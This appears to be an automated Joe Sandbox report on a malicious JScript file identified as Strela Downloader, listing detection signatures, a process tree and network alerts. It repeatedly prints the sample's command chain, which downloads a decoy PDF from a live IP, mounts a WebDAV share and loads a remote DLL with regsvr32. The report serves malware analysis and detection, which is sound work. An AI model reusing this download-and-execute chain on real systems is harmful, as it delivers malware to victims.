Edit tour

Windows Analysis Report
9191198332977923109.js

Overview

General Information

Sample name:	9191198332977923109.js
Analysis ID:	1587929
MD5:	5d2c90d76a85345cce1f65a2cdab1544
SHA1:	687d02895360b2e33cdd94dbee1deed07df8cd84
SHA256:	f74cff17690c742a9ee2149f80d5f3aa5cd4ba22e17c2904707d667f8d9ca95f
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7116 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4308 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5020 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1292 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3608 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7340 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,17319420287684745869,1550295137964606933,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7164 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 904 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7204 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7116	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5020, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5020, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", ProcessId: 7116, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 904, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4308, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4308, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4308, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4308, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4308, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", ProcessId: 7116, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5020, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7164, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 904, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7204, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7164, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 904, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll, ProcessId: 4308, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:32:34.558501+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:32:31.771870+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 9191198332977923109.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 9191198332977923109.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:32:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

